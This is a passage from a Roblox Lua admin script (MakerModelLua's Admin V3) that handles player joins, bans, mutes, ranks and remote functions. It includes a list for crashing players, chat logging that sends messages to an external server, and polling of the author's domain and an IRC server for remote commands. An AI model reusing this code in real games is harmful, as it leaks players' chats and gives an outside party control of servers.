8911
8912 Player.Chatted:connect(function(Message) if Message ~= "" then
8913 CORE:Log(ChatLogs, Player, Message)
8914 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8915 end end)
8916
8917 for _,Name in pairs(Settings.Ranks.Banned) do
8918 if Player.Name == Name then
8919 CORE:Kick(Player)
8920 for _,Person in pairs(Server.Players:GetPlayers()) do
8921 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8922 end
8923 end
8924 end
8925 for _,Name in pairs(Settings.Ranks.Crashed) do
8926 if Player.Name == Name then
8927 CORE:Crash(Player)
8928 for _,Person in pairs(Server.Players:GetPlayers()) do
8929 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8930 end
8931 end
8932 end
8933 for _,Name in pairs(Settings.Ranks.Muted) do
8934 if Player.Name == Name then
8935 GUI:CoreGui(Player, "Chat", false)
8936 for _,Person in pairs(Server.Players:GetPlayers()) do
8937 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8938 end
8939 end
8940 end
8941 if Settings.ServerLocked == true then
8942 if PlayerAdmin == false then
8943 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8944 end
8945 end
8946
8947 if PlayerAdmin == false then
8948 if Player.AccountAge < Settings.MinimumAge then
8949 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8950 for _,Person in pairs(Server.Players:GetPlayers()) do
8951 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8952 end
8953 end
8954 end
8955
8956 if PlayerAdmin == false then
8957 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8958 table.insert(Settings.Ranks["Member"], Player.Name)
8959 PlayerAdmin = true
8960 Rank = "Member"
8961 end
8962 end
8963
8964 coroutine.wrap(function()
8965 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8966 local function SpawnActions(Character)
8967 if Flings[Player.Name] then
8968 CORE:FlingPlayer(Player)
8969 else
8970 GUI:CreateTaskBar(Player)
8971 end
8972 if Beeps[Player.Name] == true then
8973 SOUND:BeepPlayer(Player)
8974 end
8975 if Jails[Player.Name] then
8976 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8977 end
8978 if PermCommandBars[Player.Name] then
8979 GUI:CommandBar(Player)
8980 end
8981 end
8982 Player.CharacterAdded:connect(SpawnActions)
8983 SpawnActions(Player.Character)
8984 end)()
8985
8986 coroutine.wrap(function()
8987 Player:WaitForChild("PlayerGui")
8988 local Sounds = {}
8989 for _,Data in pairs(TextConverter.LetterSounds) do
8990 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8991 Sound:Play()
8992 table.insert(Sounds, Sound)
8993 end
8994 for _,Data in pairs(TextConverter.LongVowels) do
8995 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8996 Sound:Play()
8997 table.insert(Sounds, Sound)
8998 end
8999 wait(5)
9000 for _,Sound in pairs(Sounds) do
9001 Sound:Destroy()
9002 end
9003 Sounds = {}
9004 end)()
9005
9006 coroutine.wrap(function()
9007 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
9008 if IsSB then
9009 wait(1)
9010 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9011 end
9012 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9013 print("Executed ClientLog on "..Player.Name)
9014 if Settings.EnableTaskBar then
9015 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9016 end
9017 end)()
9018
9019 coroutine.wrap(function()
9020 wait(7)
9021 Player:WaitForChild("PlayerGui")
9022 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9023 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9024 if Answer == "Ok" then
9025 MARKET:PromptPurchase(Player, AdminID)
9026 end
9027 end
9028 end)()
9029 end
9030end)() end
9031
9032-- Active stuff --
9033
9034CORE:UpdateAdmin()
9035CORE:FixSettings()
9036
9037ypcall(function()
9038 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9039 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9040 end
9041end)
9042
9043
9044Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9045 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9046 if PlayerAdmin == false then
9047 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9048 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9049 end
9050end end)
9051
9052--[[
9053ExecuteCommand.OnInvoke = function(Player, Command)
9054 if Player and Command then
9055 if type(Player) == "userdata" and Player:IsA("Player") then
9056 CORE:Chatted(Command, Player, true)
9057 end
9058 end
9059end
9060
9061ExecuteCode.OnInvoke = function(Source, Speaker)
9062 if type(Source) == "string" then
9063 ExecuteSafe(Source, Speaker)
9064 end
9065end
9066
9067ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9068 if Player and Command then
9069 if type(Player) == "userdata" and Player:IsA("Player") then
9070 CORE:Chatted(Command, Player, true)
9071 end
9072 end
9073end
9074]]
9075
9076KeyPressed.OnServerInvoke = function(Player, Key)
9077 if Player and Key then
9078 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9079 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9080 end
9081 end
9082end
9083
9084InputKey.OnServerInvoke = function(Player, KeyVal)
9085 if Player and KeyVal then
9086 if LastKeys[Player.UserId] then
9087 table.insert(LastKeys[Player.UserId], KeyVal)
9088 if #LastKeys[Player.UserId] > 20 then
9089 table.remove(LastKeys[Player.UserId], 1)
9090 end
9091 end
9092 end
9093end
9094
9095RankPlayerLocal.OnServerInvoke = function(Player)
9096 wait()
9097 local Request = PendingRequests[Player]
9098 if Request then
9099 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9100 if Settings.Ranks[Request[1]] then
9101 PendingRequests[Player] = nil
9102 table.insert(Settings.Ranks[Request[1]], Player.Name)
9103 GUI:TellAdmin(Player)
9104 end
9105 end
9106 end
9107end
9108
9109RankPlayerServer.OnInvoke = function(Player, Rank)
9110 if not RANK:IsAdmin(Player) then
9111 PendingRequests[Player] = {Rank, tick()}
9112 end
9113end
9114
9115IsAdmin.OnServerInvoke = function(Player)
9116 local IsFullAdmin = false
9117 for _,PName in pairs(Settings.Ranks["Owner"]) do
9118 if PName == Player.Name then IsFullAdmin = true end
9119 end
9120 for _,PName in pairs(Settings.Ranks["Admin"]) do
9121 if PName == Player.Name then IsFullAdmin = true end
9122 end
9123 return IsFullAdmin
9124end
9125
9126AddExploit.OnServerInvoke = CORE.AddExploit
9127AddExploitServer.OnInvoke = CORE.AddExploit
9128
9129KickClient.OnServerInvoke = function(PlayerClient)
9130 PlayerClient:Kick()
9131end
9132
9133ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9134 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9135end
9136
9137for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9138Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9139Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9140
9141coroutine.wrap(function()
9142 for _,ID in pairs(Icons) do
9143 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9144 end
9145end)()
9146
9147CORE:SetAbuseCommands()
9148
9149coroutine.wrap(function() SOUND:SyncSoundList() end)()
9150if not IsStudio then coroutine.wrap(function()
9151 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9152 REMOTE:GetRemoteData(true)
9153 REMOTE:CheckTrelloInfo()
9154 coroutine.wrap(function()
9155 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9156 REMOTE.RemoteConnection = true
9157 end
9158 end)()
9159 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9160 coroutine.wrap(function()
9161 if Settings.LinkedAccount ~= "" then
9162 local Request = nil
9163 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9164 if Request then
9165 REMOTE:HandleRequest(Request, true)
9166 end
9167 end
9168 end)()
9169 coroutine.wrap(function()
9170 wait(RemoteData.RemoteAdminWait)
9171 while REMOTE:GetAndSetWebData() do
9172 wait(RemoteData.RemoteAdminWait)
9173 end
9174 end)()
9175 coroutine.wrap(function()
9176 while wait(60) do
9177 REMOTE:GetRemoteData(true)
9178 REMOTE:CheckTrelloInfo()
9179 end
9180 end)()
9181end)() end
9182coroutine.wrap(function()
9183 if Settings.TrelloToken ~= "" then
9184 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9185 if #Trello.RequiredLists > 0 then
9186 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9187 if Trello.MainBoard.name then
9188 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9189 REMOTE:TrelloCacheData(Lists)
9190 REMOTE:TrelloHandleData(true)
9191 coroutine.wrap(function()
9192 wait(RemoteData.TrelloWait)
9193 while REMOTE:TrelloHandleData() do
9194 wait(RemoteData.TrelloWait)
9195 end
9196 end)()
9197 end
9198 end
9199 else
9200 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9201 end
9202end)()
9203coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9204 REMOTE:SendChatLog()
9205end end)()
9206coroutine.wrap(function() while true do
9207 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9208 if ThisDate then Date = ThisDate end
9209 wait(600)
9210end end)()
9211
9212print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")